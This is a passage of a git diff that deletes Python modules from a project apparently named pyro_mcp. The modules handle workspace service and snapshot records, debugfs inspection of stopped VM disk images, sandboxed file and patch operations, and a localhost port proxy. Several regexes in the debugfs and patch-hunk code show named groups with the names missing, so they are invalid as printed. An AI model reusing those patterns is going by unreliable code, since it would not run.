normalized_name), - ) - - def _load_workspace_service_locked( - self, - workspace_id: str, - service_name: str, - ) -> WorkspaceServiceRecord: - record_path = self._workspace_service_record_path(workspace_id, service_name) - if not record_path.exists(): - raise ValueError( - f"service {service_name!r} does not exist in workspace {workspace_id!r}" - ) - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"service record at {record_path} is invalid") - return WorkspaceServiceRecord.from_payload(payload) - - def _load_workspace_snapshot_locked( - self, - workspace_id: str, - snapshot_name: str, - ) -> WorkspaceSnapshotRecord: - record_path = self._workspace_snapshot_metadata_path(workspace_id, snapshot_name) - if not record_path.exists(): - raise ValueError( - f"snapshot {snapshot_name!r} does not exist in workspace {workspace_id!r}" - ) - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"snapshot record at {record_path} is invalid") - return WorkspaceSnapshotRecord.from_payload(payload) - - def _load_workspace_snapshot_locked_optional( - self, - workspace_id: str, - snapshot_name: str, - ) -> WorkspaceSnapshotRecord | None: - record_path = self._workspace_snapshot_metadata_path(workspace_id, snapshot_name) - if not record_path.exists(): - return None - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"snapshot record at {record_path} is invalid") - return WorkspaceSnapshotRecord.from_payload(payload) - - def _load_workspace_service_locked_optional( - self, - workspace_id: str, - service_name: str, - ) -> WorkspaceServiceRecord | None: - record_path = self._workspace_service_record_path(workspace_id, service_name) - if not record_path.exists(): - return None - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - raise RuntimeError(f"service record at {record_path} is invalid") - return WorkspaceServiceRecord.from_payload(payload) - - def _save_workspace_service_locked(self, service: WorkspaceServiceRecord) -> None: - record_path = self._workspace_service_record_path( - service.workspace_id, - service.service_name, - ) - record_path.parent.mkdir(parents=True, exist_ok=True) - record_path.write_text( - json.dumps(service.to_payload(), indent=2, sort_keys=True), - encoding="utf-8", - ) - - def _save_workspace_snapshot_locked(self, snapshot: WorkspaceSnapshotRecord) -> None: - record_path = self._workspace_snapshot_metadata_path( - snapshot.workspace_id, - snapshot.snapshot_name, - ) - record_path.parent.mkdir(parents=True, exist_ok=True) - record_path.write_text( - json.dumps(snapshot.to_payload(), indent=2, sort_keys=True), - encoding="utf-8", - ) - - def _delete_workspace_service_artifacts_locked( - self, - workspace_id: str, - service_name: str, - ) -> None: - existing = self._load_workspace_service_locked_optional(workspace_id, service_name) - if existing is not None: - for published_port in existing.published_ports: - _stop_workspace_published_port_proxy(published_port) - self._workspace_service_record_path(workspace_id, service_name).unlink(missing_ok=True) - services_dir = self._workspace_services_dir(workspace_id) - _workspace_service_stdout_path(services_dir, service_name).unlink(missing_ok=True) - _workspace_service_stderr_path(services_dir, service_name).unlink(missing_ok=True) - _workspace_service_status_path(services_dir, service_name).unlink(missing_ok=True) - _workspace_service_runner_path(services_dir, service_name).unlink(missing_ok=True) - for ready_path in services_dir.glob(f"{service_name}.port-*.ready.json"): - ready_path.unlink(missing_ok=True) - - def _delete_workspace_snapshot_locked(self, workspace_id: str, snapshot_name: str) -> None: - self._workspace_snapshot_metadata_path(workspace_id, snapshot_name).unlink(missing_ok=True) - self._workspace_snapshot_archive_path(workspace_id, snapshot_name).unlink(missing_ok=True) - - def _list_workspace_services_locked(self, workspace_id: str) -> list[WorkspaceServiceRecord]: - services_dir = self._workspace_services_dir(workspace_id) - if not services_dir.exists(): - return [] - services: list[WorkspaceServiceRecord] = [] - for record_path in sorted(services_dir.glob("*.json")): - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - continue - services.append(WorkspaceServiceRecord.from_payload(payload)) - return services - - def _list_workspace_snapshots_locked( - self, - workspace: WorkspaceRecord, - ) -> list[WorkspaceSnapshotRecord]: - snapshots_dir = self._workspace_snapshots_dir(workspace.workspace_id) - snapshots: list[WorkspaceSnapshotRecord] = [ - self._workspace_baseline_snapshot_locked(workspace) - ] - if not snapshots_dir.exists(): - return snapshots - named_snapshots: list[WorkspaceSnapshotRecord] = [] - for record_path in snapshots_dir.glob("*.json"): - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - continue - named_snapshots.append(WorkspaceSnapshotRecord.from_payload(payload)) - named_snapshots.sort(key=lambda item: (-item.created_at, item.snapshot_name)) - snapshots.extend(named_snapshots) - return snapshots - - def _save_workspace_shell_locked(self, shell: WorkspaceShellRecord) -> None: - record_path = self._workspace_shell_record_path(shell.workspace_id, shell.shell_id) - record_path.parent.mkdir(parents=True, exist_ok=True) - record_path.write_text( - json.dumps(shell.to_payload(), indent=2, sort_keys=True), - encoding="utf-8", - ) - - def _delete_workspace_shell_locked(self, workspace_id: str, shell_id: str) -> None: - record_path = self._workspace_shell_record_path(workspace_id, shell_id) - if record_path.exists(): - record_path.unlink() - - def _list_workspace_shells_locked(self, workspace_id: str) -> list[WorkspaceShellRecord]: - shells_dir = self._workspace_shells_dir(workspace_id) - if not shells_dir.exists(): - return [] - shells: list[WorkspaceShellRecord] = [] - for record_path in sorted(shells_dir.glob("*.json")): - payload = json.loads(record_path.read_text(encoding="utf-8")) - if not isinstance(payload, dict): - continue - shells.append(WorkspaceShellRecord.from_payload(payload)) - return shells - - def _close_workspace_shells_locked( - self, - workspace: WorkspaceRecord, - instance: VmInstance, - ) -> None: - for shell in self._list_workspace_shells_locked(workspace.workspace_id): - try: - self._backend.close_shell( - instance, - workspace_id=workspace.workspace_id, - shell_id=shell.shell_id, - ) - except Exception: - pass - self._delete_workspace_shell_locked(workspace.workspace_id, shell.shell_id) - - def _reset_workspace_runtime_dirs(self, workspace_id: str) -> None: - shutil.rmtree(self._workspace_runtime_dir(workspace_id), ignore_errors=True) - shutil.rmtree(self._workspace_host_dir(workspace_id), ignore_errors=True) - shutil.rmtree(self._workspace_commands_dir(workspace_id), ignore_errors=True) - shutil.rmtree(self._workspace_review_dir(workspace_id), ignore_errors=True) - shutil.rmtree(self._workspace_shells_dir(workspace_id), ignore_errors=True) - shutil.rmtree(self._workspace_services_dir(workspace_id), ignore_errors=True) - self._workspace_host_dir(workspace_id).mkdir(parents=True, exist_ok=True) - self._workspace_commands_dir(workspace_id).mkdir(parents=True, exist_ok=True) - self._workspace_review_dir(workspace_id).mkdir(parents=True, exist_ok=True) - self._workspace_shells_dir(workspace_id).mkdir(parents=True, exist_ok=True) - self._workspace_services_dir(workspace_id).mkdir(parents=True, exist_ok=True) - - def _refresh_workspace_service_locked( - self, - workspace: WorkspaceRecord, - instance: VmInstance, - service: WorkspaceServiceRecord, - ) -> WorkspaceServiceRecord: - payload = self._backend.status_service( - instance, - workspace_id=workspace.workspace_id, - service_name=service.service_name, - ) - refreshed = self._workspace_service_record_from_payload( - workspace_id=workspace.workspace_id, - service_name=service.service_name, - payload=payload, - metadata=service.metadata, - published_ports=service.published_ports, - ) - if refreshed.state != "running" and refreshed.published_ports: - refreshed.published_ports = [ - WorkspacePublishedPortRecord( - guest_port=published_port.guest_port, - host_port=published_port.host_port, - host=published_port.host, - protocol=published_port.protocol, - proxy_pid=None, - ) - for published_port in refreshed.published_ports - ] - for published_port in service.published_ports: - _stop_workspace_published_port_proxy(published_port) - self._save_workspace_service_locked(refreshed) - return refreshed - - def _refresh_workspace_services_locked( - self, - workspace: WorkspaceRecord, - instance: VmInstance, - ) -> list[WorkspaceServiceRecord]: - services = self._list_workspace_services_locked(workspace.workspace_id) - refreshed: list[WorkspaceServiceRecord] = [] - for service in services: - refreshed.append(self._refresh_workspace_service_locked(workspace, instance, service)) - return refreshed - - def _refresh_workspace_service_counts_locked(self, workspace: WorkspaceRecord) -> None: - services = self._list_workspace_services_locked(workspace.workspace_id) - if not services: - return - if workspace.state != "started": - changed = False - for service in services: - if service.state == "running": - for published_port in service.published_ports: - _stop_workspace_published_port_proxy(published_port) - service.state = "stopped" - service.stop_reason = "workspace_stopped" - service.ended_at = service.ended_at or time.time() - self._save_workspace_service_locked(service) - changed = True - if changed: - return - return - instance = workspace.to_instance( - workdir=self._workspace_runtime_dir(workspace.workspace_id) - ) - self._require_workspace_service_support(instance) - self._refresh_workspace_services_locked(workspace, instance) - - def _stop_workspace_services_locked( - self, - workspace: WorkspaceRecord, - instance: VmInstance, - ) -> None: - for service in self._list_workspace_services_locked(workspace.workspace_id): - if workspace.state == "started": - try: - payload = self._backend.stop_service( - instance, - workspace_id=workspace.workspace_id, - service_name=service.service_name, - ) - stopped = self._workspace_service_record_from_payload( - workspace_id=workspace.workspace_id, - service_name=service.service_name, - payload=payload, - metadata=service.metadata, - published_ports=service.published_ports, - ) - self._save_workspace_service_locked(stopped) - except Exception: - pass - self._delete_workspace_service_artifacts_locked( - workspace.workspace_id, - service.service_name, - ) diff --git a/src/pyro_mcp/workspace_disk.py b/src/pyro_mcp/workspace_disk.py deleted file mode 100644 index 756cfac..0000000 --- a/src/pyro_mcp/workspace_disk.py +++ /dev/null @@ -1,264 +0,0 @@ -"""Stopped-workspace disk export and offline inspection helpers.""" - -from __future__ import annotations - -import re -import shutil -import subprocess -import tempfile -from dataclasses import dataclass -from pathlib import Path, PurePosixPath -from typing import Literal - -WorkspaceDiskArtifactType = Literal["file", "directory", "symlink"] - -WORKSPACE_DISK_RUNTIME_ONLY_PATHS = ( - "/run/pyro-secrets", - "/run/pyro-shells", - "/run/pyro-services", -) - -_DEBUGFS_LS_RE = re.compile( - r"^/(?P\d+)/(?P\d+)/(?P\d+)/(?P\d+)/(?P.*)/(?P\d*)/$" -) -_DEBUGFS_SIZE_RE = re.compile(r"Size:\s+(?P\d+)") -_DEBUGFS_TYPE_RE = re.compile(r"Type:\s+(?P\w+)") -_DEBUGFS_LINK_RE = re.compile(r'Fast link dest:\s+"(?P.*)"') - - -@dataclass(frozen=True) -class WorkspaceDiskEntry: - """One inspectable path from a stopped workspace rootfs image.""" - - path: str - artifact_type: WorkspaceDiskArtifactType - size_bytes: int - link_target: str | None = None - - def to_payload(self) -> dict[str, str | int | None]: - return { - "path": self.path, - "artifact_type": self.artifact_type, - "size_bytes": self.size_bytes, - "link_target": self.link_target, - } - - -@dataclass(frozen=True) -class _DebugfsStat: - path: str - artifact_type: WorkspaceDiskArtifactType - size_bytes: int - link_target: str | None = None - - -@dataclass(frozen=True) -class _DebugfsDirEntry: - name: str - path: str - artifact_type: WorkspaceDiskArtifactType | None - size_bytes: int - - -def export_workspace_disk_image(rootfs_image: Path, *, output_path: Path) -> dict[str, str | int]: - """Copy one stopped workspace rootfs image to the requested host path.""" - output_path.parent.mkdir(parents=True, exist_ok=True) - if output_path.exists() or output_path.is_symlink(): - raise RuntimeError(f"output_path already exists: {output_path}") - shutil.copy2(rootfs_image, output_path) - return { - "output_path": str(output_path), - "disk_format": "ext4", - "bytes_written": output_path.stat().st_size, - } - - -def list_workspace_disk( - rootfs_image: Path, - *, - guest_path: str, - recursive: bool, -) -> list[dict[str, str | int | None]]: - """Return inspectable entries from one stopped workspace rootfs path.""" - target = _debugfs_stat(rootfs_image, guest_path) - if target is None: - raise RuntimeError(f"workspace disk path does not exist: {guest_path}") - if target.artifact_type != "directory": - return [WorkspaceDiskEntry(**target.__dict__).to_payload()] - entries: list[WorkspaceDiskEntry] = [] - - def walk(current_path: str) -> None: - children = _debugfs_ls_entries(rootfs_image, current_path) - for child in children: - if child.artifact_type is None: - continue - link_target = None - if child.artifact_type == "symlink": - child_stat = _debugfs_stat(rootfs_image, child.path) - link_target = None if child_stat is None else child_stat.link_target - entries.append( - WorkspaceDiskEntry( - path=child.path, - artifact_type=child.artifact_type, - size_bytes=child.size_bytes, - link_target=link_target, - ) - ) - if recursive and child.artifact_type == "directory": - walk(child.path) - - walk(guest_path) - entries.sort(key=lambda item: item.path) - return [entry.to_payload() for entry in entries] - - -def read_workspace_disk_file( - rootfs_image: Path, - *, - guest_path: str, - max_bytes: int, -) -> dict[str, str | int | bool]: - """Read one regular file from a stopped workspace rootfs image.""" - target = _debugfs_stat(rootfs_image, guest_path) - if target is None: - raise RuntimeError(f"workspace disk path does not exist: {guest_path}") - if target.artifact_type != "file": - raise RuntimeError("workspace disk read only supports regular files") - if max_bytes <= 0: - raise ValueError("max_bytes must be positive") - with tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-read-") as temp_dir: - dumped_path = Path(temp_dir) / "workspace-disk-read.bin" - _run_debugfs(rootfs_image, f"dump {guest_path} {dumped_path}") - if not dumped_path.exists(): - raise RuntimeError(f"failed to dump workspace disk file: {guest_path}") - raw_bytes = dumped_path.read_bytes() - return { - "path": guest_path, - "size_bytes": len(raw_bytes), - "max_bytes": max_bytes, - "content": raw_bytes[:max_bytes].decode("utf-8", errors="replace"), - "truncated": len(raw_bytes) > max_bytes, - } - - -def scrub_workspace_runtime_paths(rootfs_image: Path) -> None: - """Remove runtime-only guest paths from a stopped workspace rootfs image.""" - for guest_path in WORKSPACE_DISK_RUNTIME_ONLY_PATHS: - _debugfs_remove_tree(rootfs_image, guest_path) - - -def _run_debugfs(rootfs_image: Path, command: str, *, writable: bool = False) -> str: - debugfs_path = shutil.which("debugfs") - if debugfs_path is None: - raise RuntimeError("debugfs is required for workspace disk operations") - debugfs_command = [debugfs_path] - if writable: - debugfs_command.append("-w") - proc = subprocess.run( # noqa: S603 - [*debugfs_command, "-R", command, str(rootfs_image)], - text=True, - capture_output=True, - check=False, - ) - combined = proc.stdout - if proc.stderr != "": - combined = combined + ("\n" if combined != "" else "") + proc.stderr - output = _strip_debugfs_banner(combined) - if proc.returncode != 0: - message = output.strip() - if message == "": - message = f"debugfs command failed: {command}" - raise RuntimeError(message) - return output.strip() - - -def _strip_debugfs_banner(output: str) -> str: - lines = output.splitlines() - while lines and lines[0].startswith("debugfs "): - lines.pop(0) - return "\n".join(lines) - - -def _debugfs_missing(output: str) -> bool: - return "File not found by ext2_lookup" in output or "File not found by ext2fs_lookup" in output - - -def _artifact_type_from_mode(mode: str) -> WorkspaceDiskArtifactType | None: - if mode.startswith("04"): - return "directory" - if mode.startswith("10"): - return "file" - if mode.startswith("12"): - return "symlink" - return None - - -def _debugfs_stat(rootfs_image: Path, guest_path: str) -> _DebugfsStat | None: - output = _run_debugfs(rootfs_image, f"stat {guest_path}") - if _debugfs_missing(output): - return None - type_match = _DEBUGFS_TYPE_RE.search(output) - size_match = _DEBUGFS_SIZE_RE.search(output) - if type_match is None or size_match is None: - raise RuntimeError(f"failed to inspect workspace disk path: {guest_path}") - raw_type = type_match.group("type") - artifact_type: WorkspaceDiskArtifactType - if raw_type == "directory": - artifact_type = "directory" - elif raw_type == "regular": - artifact_type = "file" - elif raw_type == "symlink": - artifact_type = "symlink" - else: - raise RuntimeError(f"unsupported workspace disk path type: {guest_path}") - link_target = None - if artifact_type == "symlink": - link_match = _DEBUGFS_LINK_RE.search(output) - if link_match is not None: - link_target = link_match.group("target") - return _DebugfsStat( - path=guest_path, - artifact_type=artifact_type, - size_bytes=int(size_match.group("size")), - link_target=link_target, - ) - - -def _debugfs_ls_entries(rootfs_image: Path, guest_path: str) -> list[_DebugfsDirEntry]: - output = _run_debugfs(rootfs_image, f"ls -p {guest_path}") - if _debugfs_missing(output): - raise RuntimeError(f"workspace disk path does not exist: {guest_path}") - entries: list[_DebugfsDirEntry] = [] - base = PurePosixPath(guest_path) - for raw_line in output.splitlines(): - line = raw_line.strip() - if line == "": - continue - match = _DEBUGFS_LS_RE.match(line) - if match is None: - continue - name = match.group("name") - if name in {".", ".."}: - continue - child_path = str(base / name) if str(base) != "/" else f"/{name}" - entries.append( - _DebugfsDirEntry( - name=name, - path=child_path, - artifact_type=_artifact_type_from_mode(match.group("mode")), - size_bytes=int(match.group("size") or "0"), - ) - ) - return entries - - -def _debugfs_remove_tree(rootfs_image: Path, guest_path: str) -> None: - stat_result = _debugfs_stat(rootfs_image, guest_path) - if stat_result is None: - return - if stat_result.artifact_type == "directory": - for child in _debugfs_ls_entries(rootfs_image, guest_path): - _debugfs_remove_tree(rootfs_image, child.path) - _run_debugfs(rootfs_image, f"rmdir {guest_path}", writable=True) - return - _run_debugfs(rootfs_image, f"rm {guest_path}", writable=True) diff --git a/src/pyro_mcp/workspace_files.py b/src/pyro_mcp/workspace_files.py deleted file mode 100644 index 731a6ee..0000000 --- a/src/pyro_mcp/workspace_files.py +++ /dev/null @@ -1,456 +0,0 @@ -"""Live workspace file operations and unified text patch helpers.""" - -from __future__ import annotations - -import os -import re -import tempfile -from dataclasses import dataclass -from pathlib import Path, PurePosixPath -from typing import Literal - -WORKSPACE_ROOT = PurePosixPath("/workspace") -DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES = 65536 -WORKSPACE_FILE_MAX_BYTES = 1024 * 1024 -WORKSPACE_PATCH_MAX_BYTES = 1024 * 1024 - -WorkspaceFileArtifactType = Literal["file", "directory", "symlink"] -WorkspacePatchStatus = Literal["added", "modified", "deleted"] - -_PATCH_HUNK_RE = re.compile( - r"^@@ -(?P\d+)(?:,(?P\d+))? " - r"\+(?P\d+)(?:,(?P\d+))? @@" -) - - -@dataclass(frozen=True) -class WorkspaceFileEntry: - path: str - artifact_type: WorkspaceFileArtifactType - size_bytes: int - link_target: str | None = None - - def to_payload(self) -> dict[str, str | int | None]: - return { - "path": self.path, - "artifact_type": self.artifact_type, - "size_bytes": self.size_bytes, - "link_target": self.link_target, - } - - -@dataclass(frozen=True) -class WorkspacePathListing: - path: str - artifact_type: WorkspaceFileArtifactType - entries: list[WorkspaceFileEntry] - - -@dataclass(frozen=True) -class WorkspaceFileReadResult: - path: str - size_bytes: int - content_bytes: bytes - - -@dataclass(frozen=True) -class WorkspaceFileWriteResult: - path: str - size_bytes: int - bytes_written: int - - -@dataclass(frozen=True) -class WorkspaceFileDeleteResult: - path: str - deleted: bool - - -@dataclass(frozen=True) -class WorkspacePatchHunk: - old_start: int - old_count: int - new_start: int - new_count: int - lines: list[str] - - -@dataclass(frozen=True) -class WorkspaceTextPatch: - path: str - status: WorkspacePatchStatus - hunks: list[WorkspacePatchHunk] - - -def list_workspace_files( - workspace_dir: Path, - *, - workspace_path: str, - recursive: bool, -) -> WorkspacePathListing: - normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) - entry = _entry_for_host_path(normalized_path, host_path) - if entry.artifact_type != "directory": - return WorkspacePathListing( - path=entry.path, - artifact_type=entry.artifact_type, - entries=[entry], - ) - - entries: list[WorkspaceFileEntry] = [] - - def walk(current_path: str, current_host_path: Path) -> None: - children: list[WorkspaceFileEntry] = [] - with os.scandir(current_host_path) as iterator: - for child in iterator: - child_entry = _entry_for_host_path( - _join_workspace_path(current_path, child.name), - Path(child.path), - ) - children.append(child_entry) - children.sort(key=lambda item: item.path) - for child_entry in children: - entries.append(child_entry) - if recursive and child_entry.artifact_type == "directory": - walk(child_entry.path, workspace_host_path(workspace_dir, child_entry.path)) - - walk(normalized_path, host_path) - return WorkspacePathListing(path=normalized_path, artifact_type="directory", entries=entries) - - -def read_workspace_file( - workspace_dir: Path, - *, - workspace_path: str, - max_bytes: int = WORKSPACE_FILE_MAX_BYTES, -) -> WorkspaceFileReadResult: - _validate_max_bytes(max_bytes) - normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) - entry = _entry_for_host_path(normalized_path, host_path) - if entry.artifact_type != "file": - raise RuntimeError("workspace file read only supports regular files") - raw_bytes = host_path.read_bytes() - if len(raw_bytes) > max_bytes: - raise RuntimeError( - f"workspace file exceeds the maximum supported size of {max_bytes} bytes" - ) - return WorkspaceFileReadResult( - path=normalized_path, - size_bytes=len(raw_bytes), - content_bytes=raw_bytes, - ) - - -def write_workspace_file( - workspace_dir: Path, - *, - workspace_path: str, - text: str, -) -> WorkspaceFileWriteResult: - encoded = text.encode("utf-8") - if len(encoded) > WORKSPACE_FILE_MAX_BYTES: - raise ValueError( - f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" - ) - normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) - _ensure_no_symlink_parents(workspace_dir, host_path, normalized_path) - if host_path.exists() or host_path.is_symlink(): - entry = _entry_for_host_path(normalized_path, host_path) - if entry.artifact_type != "file": - raise RuntimeError("workspace file write only supports regular file targets") - host_path.parent.mkdir(parents=True, exist_ok=True) - with tempfile.NamedTemporaryFile( - prefix=".pyro-workspace-write-", - dir=host_path.parent, - delete=False, - ) as handle: - temp_path = Path(handle.name) - handle.write(encoded) - os.replace(temp_path, host_path) - return WorkspaceFileWriteResult( - path=normalized_path, - size_bytes=len(encoded), - bytes_written=len(encoded), - ) - - -def delete_workspace_path( - workspace_dir: Path, - *, - workspace_path: str, -) -> WorkspaceFileDeleteResult: - normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path) - entry = _entry_for_host_path(normalized_path, host_path) - if entry.artifact_type == "directory": - raise RuntimeError("workspace file delete does not support directories") - host_path.unlink(missing_ok=False) - return WorkspaceFileDeleteResult(path=normalized_path, deleted=True) - - -def parse_unified_text_patch(patch_text: str) -> list[WorkspaceTextPatch]: - encoded = patch_text.encode("utf-8") - if len(encoded) > WORKSPACE_PATCH_MAX_BYTES: - raise ValueError( - f"patch must be at most {WORKSPACE_PATCH_MAX_BYTES} bytes when encoded as UTF-8" - ) - if patch_text.strip() == "": - raise ValueError("patch must not be empty") - - lines = patch_text.splitlines(keepends=True) - patches: list[WorkspaceTextPatch] = [] - index = 0 - - while index < len(lines): - line = lines[index] - if line.startswith("diff --git "): - index += 1 - continue - if line.startswith("index "): - index += 1 - continue - if _is_unsupported_patch_prelude(line): - raise ValueError(f"unsupported patch feature: {line.rstrip()}") - if not line.startswith("--- "): - if line.strip() == "": - index += 1 - continue - raise ValueError(f"invalid patch header: {line.rstrip()}") - old_path = _parse_patch_label(line[4:].rstrip("\n")) - index += 1 - if index >= len(lines) or not lines[index].startswith("+++ "): - raise ValueError("patch is missing '+++' header") - new_path = _parse_patch_label(lines[index][4:].rstrip("\n")) - index += 1 - if old_path is not None and new_path is not None and old_path != new_path: - raise ValueError("rename and copy patches are not supported") - patch_path = new_path or old_path - if patch_path is None: - raise ValueError("patch must target a workspace path") - if old_path is None: - status: WorkspacePatchStatus = "added" - elif new_path is None: - status = "deleted" - else: - status = "modified" - - hunks: list[WorkspacePatchHunk] = [] - while index < len(lines): - line = lines[index] - if line.startswith("diff --git ") or line.startswith("--- "): - break - if line.startswith("index "): - index += 1 - continue - if _is_unsupported_patch_prelude(line): - raise ValueError(f"unsupported patch feature: {line.rstrip()}") - header_match = _PATCH_HUNK_RE.match(line.rstrip("\n")) - if header_match is None: - raise ValueError(f"invalid patch hunk header: {line.rstrip()}") - old_count = int(header_match.group("old_count") or "1") - new_count = int(header_match.group("new_count") or "1") - hunk_lines: list[str] = [] - index += 1 - while index < len(lines): - hunk_line = lines[index] - if hunk_line.startswith(("diff --git ", "--- ", "@@ ")): - break - if hunk_line.startswith("@@"): - break - if hunk_line.startswith("\\ No newline at end of file"): - index += 1 - continue - if not hunk_line.startswith((" ", "+", "-")): - raise ValueError(f"invalid patch hunk line: {hunk_line.rstrip()}") - hunk_lines.append(hunk_line) - index += 1 - _validate_hunk_counts(old_count, new_count, hunk_lines) - hunks.append( - WorkspacePatchHunk( - old_start=int(header_match.group("old_start")), - old_count=old_count, - new_start=int(header_match.group("new_start")), - new_count=new_count, - lines=hunk_lines, - ) - ) - if not hunks: - raise ValueError(f"patch for {patch_path} has no hunks") - patches.append(WorkspaceTextPatch(path=patch_path, status=status, hunks=hunks)) - - if not patches: - raise ValueError("patch must contain at least one file change") - return patches - - -def apply_unified_text_patch( - *, - path: str, - patch: WorkspaceTextPatch, - before_text: str | None, -) -> str | None: - before_lines = [] if before_text is None else before_text.splitlines(keepends=True) - output_lines: list[str] = [] - cursor = 0 - for hunk in patch.hunks: - start_index = 0 if hunk.old_start == 0 else hunk.old_start - 1 - if start_index < cursor or start_index > len(before_lines): - raise RuntimeError(f"patch hunk is out of range for {path}") - output_lines.extend(before_lines[cursor:start_index]) - local_index = start_index - for hunk_line in hunk.lines: - prefix = hunk_line[:1] - payload = hunk_line[1:] - if prefix in {" ", "-"}: - if local_index >= len(before_lines): - raise RuntimeError(f"patch context does not match for {path}") - if before_lines[local_index] != payload: - raise RuntimeError(f"patch context does not match for {path}") - if prefix == " ": - output_lines.append(payload) - local_index += 1 - continue - if prefix == "+": - output_lines.append(payload) - continue - raise RuntimeError(f"invalid patch line prefix for {path}") - cursor = local_index - output_lines.extend(before_lines[cursor:]) - after_text = "".join(output_lines) - if patch.status == "deleted": - if after_text != "": - raise RuntimeError(f"delete patch did not remove all content for {path}") - return None - encoded = after_text.encode("utf-8") - if len(encoded) > WORKSPACE_FILE_MAX_BYTES: - raise RuntimeError( - f"patched file {path} exceeds the maximum supported size of " - f"{WORKSPACE_FILE_MAX_BYTES} bytes" - ) - return after_text - - -def workspace_host_path(workspace_dir: Path, workspace_path: str) -> Path: - _, host_path = _workspace_host_path(workspace_dir, workspace_path) - return host_path - - -def _workspace_host_path(workspace_dir: Path, workspace_path: str) -> tuple[str, Path]: - normalized = normalize_workspace_path(workspace_path) - suffix = PurePosixPath(normalized).relative_to(WORKSPACE_ROOT) - host_path = workspace_dir if str(suffix) in {"", "."} else workspace_dir.joinpath(*suffix.parts) - return normalized, host_path - - -def normalize_workspace_path(path: str) -> str: - candidate = path.strip() - if candidate == "": - raise ValueError("workspace path must not be empty") - raw_path = PurePosixPath(candidate) - if any(part == ".." for part in raw_path.parts): - raise ValueError("workspace path must stay inside /workspace") - if not raw_path.is_absolute(): - raw_path = WORKSPACE_ROOT / raw_path - parts = [part for part in raw_path.parts if part not in {"", "."}] - normalized = PurePosixPath("/") / PurePosixPath(*parts) - if normalized == PurePosixPath("/"): - raise ValueError("workspace path must stay inside /workspace") - if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts: - raise ValueError("workspace path must stay inside /workspace") - return str(normalized) - - -def _entry_for_host_path(guest_path: str, host_path: Path) -> WorkspaceFileEntry: - try: - stat_result = os.lstat(host_path) - except FileNotFoundError as exc: - raise RuntimeError(f"workspace path does not exist: {guest_path}") from exc - if os.path.islink(host_path): - return WorkspaceFileEntry( - path=guest_path, - artifact_type="symlink", - size_bytes=stat_result.st_size, - link_target=os.readlink(host_path), - ) - if host_path.is_dir(): - return WorkspaceFileEntry( - path=guest_path, - artifact_type="directory", - size_bytes=0, - link_target=None, - ) - if host_path.is_file(): - return WorkspaceFileEntry( - path=guest_path, - artifact_type="file", - size_bytes=stat_result.st_size, - link_target=None, - ) - raise RuntimeError(f"unsupported workspace path type: {guest_path}") - - -def _join_workspace_path(base: str, child_name: str) -> str: - base_path = PurePosixPath(base) - return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}" - - -def _ensure_no_symlink_parents(workspace_dir: Path, target_path: Path, guest_path: str) -> None: - relative_path = target_path.relative_to(workspace_dir) - current = workspace_dir - for part in relative_path.parts[:-1]: - current = current / part - if current.is_symlink(): - raise RuntimeError( - f"workspace path would traverse through a symlinked parent: {guest_path}" - ) - - -def _validate_max_bytes(max_bytes: int) -> None: - if max_bytes <= 0: - raise ValueError("max_bytes must be positive") - if max_bytes > WORKSPACE_FILE_MAX_BYTES: - raise ValueError( - f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes" - ) - - -def _is_unsupported_patch_prelude(line: str) -> bool: - return line.startswith( - ( - "old mode ", - "new mode ", - "deleted file mode ", - "new file mode ", - "rename from ", - "rename to ", - "copy from ", - "copy to ", - "similarity index ", - "dissimilarity index ", - "GIT binary patch", - "Binary files ", - ) - ) - - -def _parse_patch_label(label: str) -> str | None: - raw = label.split("\t", 1)[0].strip() - if raw == "/dev/null": - return None - if raw.startswith(("a/", "b/")): - raw = raw[2:] - if raw.startswith("/workspace/"): - return normalize_workspace_path(raw) - return normalize_workspace_path(raw) - - -def _validate_hunk_counts(old_count: int, new_count: int, hunk_lines: list[str]) -> None: - old_seen = 0 - new_seen = 0 - for hunk_line in hunk_lines: - prefix = hunk_line[:1] - if prefix in {" ", "-"}: - old_seen += 1 - if prefix in {" ", "+"}: - new_seen += 1 - if old_seen != old_count or new_seen != new_count: - raise ValueError("patch hunk line counts do not match the header") diff --git a/src/pyro_mcp/workspace_ports.py b/src/pyro_mcp/workspace_ports.py deleted file mode 100644 index 105ef6b..0000000 --- a/src/pyro_mcp/workspace_ports.py +++ /dev/null @@ -1,116 +0,0 @@ -"""Localhost-only TCP port proxy for published workspace services.""" - -from __future__ import annotations - -import argparse -import json -import selectors -import signal -import socket -import socketserver -import sys -import threading -from pathlib import Path - -DEFAULT_PUBLISHED_PORT_HOST = "127.0.0.1" - - -class _ProxyServer(socketserver.ThreadingMixIn, socketserver.TCPServer): - allow_reuse_address = False - daemon_threads = True - - def __init__(self, server_address: tuple[str, int], target_address: tuple[str, int]) -> None: - super().__init__(server_address, _ProxyHandler) - self.target_address = target_address - - -class _ProxyHandler(socketserver.BaseRequestHandler): - def handle(self) -> None: - server = self.server - if not isinstance(server, _ProxyServer): - raise RuntimeError("proxy server is invalid") - try: - upstream = socket.create_connection(server.target_address, timeout=5) - except OSError: - return - with upstream: - self.request.setblocking(False) - upstream.setblocking(False) - selector = selectors.DefaultSelector() - try: - selector.register(self.request, selectors.EVENT_READ, upstream) - selector.register(upstream, selectors.EVENT_READ, self.request) - while True: - events = selector.select() - if not events: - continue - for key, _ in events: - source = key.fileobj - target = key.data - if not isinstance(source, socket.socket) or not isinstance( - target, socket.socket - ): - continue - try: - chunk = source.recv(65536) - except OSError: - return - if not chunk: - return - try: - target.sendall(chunk) - except OSError: - return - finally: - selector.close() - - -def _build_parser() -> argparse.ArgumentParser: - 